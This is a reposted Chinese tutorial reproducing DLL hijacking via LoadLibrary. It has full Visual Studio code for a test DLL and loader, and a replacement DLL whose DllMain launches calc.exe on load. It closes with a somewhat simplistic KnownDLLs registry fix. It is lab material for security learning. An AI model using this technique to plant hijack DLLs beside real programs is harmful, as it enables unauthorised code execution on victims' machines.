文章总结: 本文记录了DLL显式加载劫持的复现过程,利用LoadLibrary机制加载恶意DLL。文中详细演示了在VisualStudio中编写弹出计算器的恶意代码及替换步骤,并利用ProcessExplorer监控加载。最后给出了通过注册表KnownDLLs限制加载路径的修复建议。 综合评分: 80 文章分类: 渗透测试,漏洞分析,红队
DLL 劫持复现记录(显式加载)
原创
huan666
huan666
2026年1月8日 19:01 北京
相关代码来源于互联网,适用于新手小白,大佬绕行!!!
一、显式加载原理
程序在运行过程中,通过主动调用Windows API函数,比如LoadLibrary,来加载指定的DLL,再通过GetProcAddress获取 DLL 中函数的地址,最后手动调用函数FreeLibrary、释放 DLL。
二、环境搭建
编辑器:Visual Studio
进程查看工具:process-explorer
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
创建DLL1.dll:
1、新建动态链接库(DLL)项目–>下一步–>默认–>创建项目
2、修改dllmain.cpp文件
#include "pch.h"
// 定义原DLL的核心函数:DLL1已被成功加载!!!void dllmsg() { MessageBox(0, L"DLL1已被成功加载!!!", L"Good", 0);}
// DLL入口函数(默认生成,无需修改)BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
3、修改framework.h文件
添加 Windows 头文件和函数导出声明(让外部 EXE 能调用dllmsg()函数)
#pragma once#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容#include <windows.h> // 包含MessageBox所需的Windows API头文件
// 导出msg函数:extern "C"避免C++名字粉碎,__declspec(dllexport)标记为导出函数extern "C" __declspec(dllexport) void dllmsg(void);
4、点击生成-生成解决方案,编译生成dll文件,先选择Release,再生成解决方案
dll文件路径,在控制台日志中可查看。
创建ConsoleApplication1.exe:
1、创建新项目–>控制台应用–>下一步–>创建
2、编辑ConsoleApplication1.cpp文件
#include <iostream>#include <Windows.h>using namespace std;
int main(){ // 定义函数指针类型,匹配msg()的参数和返回值 typedef void(*DLLFUNC)(void); DLLFUNC GetDllfunc = NULL;
// 动态加载Dll1.dll(需确保EXE与DLL在同一目录) HINSTANCE hinst = LoadLibrary(L"Dll1.dll"); if (hinst != NULL) { // 获取DLL中导出函数msg的地址 GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "dllmsg"); }
// 调用dllmsg()函数(若获取地址成功) if (GetDllfunc != NULL) { (*GetDllfunc)(); }
return 0;}
3、点击生成–>生成解决方案
将ConsoleApplication1.exe和Dll1.dll放在同一目录
运行ConsoleApplication1.exe,Dll1.dll已被加载
三、劫持复现
运行process-explorer,查看ConsoleApplication1.exe加载哪些DLL文件
点击View–>Show Lower Pane,可查看加载的DLL文件
通过加载的DLL,发现C:\Users\huan666-pc\Desktop\test\Dll1.dll
被加载,并且在当前程序目录下,修改Dll1.dll文件为执行任意系统命令。
编写一个弹出计算器的DLL文件,文件名最后改为Dll1.dll
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"// 包含Windows API头文件,用于调用系统函数#include <Windows.h>
// 定义弹出计算器的函数void OpenCalculator() { // 核心API:WinExec 执行系统命令,calc.exe是计算器程序 // SW_SHOW:显示计算器窗口(不隐藏) // 注意:WinExec在新系统中仍可用,也可以用CreateProcess(更推荐,后面会补充) WinExec("calc.exe", SW_SHOW);
// 【可选】更健壮的写法(替代WinExec,推荐) /* STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof(STARTUPINFO); // 创建新进程运行计算器 CreateProcessA(NULL, "calc.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); // 关闭进程/线程句柄,释放资源 CloseHandle(pi.hProcess); CloseHandle(pi.hThread); */}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // DLL被进程加载时,执行弹出计算器的函数 OpenCalculator(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
编译成DLL文件后,复制到劫持复现的目录下
四、修复方案
注册表中修改,打开注册表:WIN+R–>regedit
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径下定义加载的DLL,该目录下的DLL文件就会被禁止从EXE自身目录调用,而只能从系统目录加载。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:huan666 huan666《DLL 劫持复现记录(显式加载)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论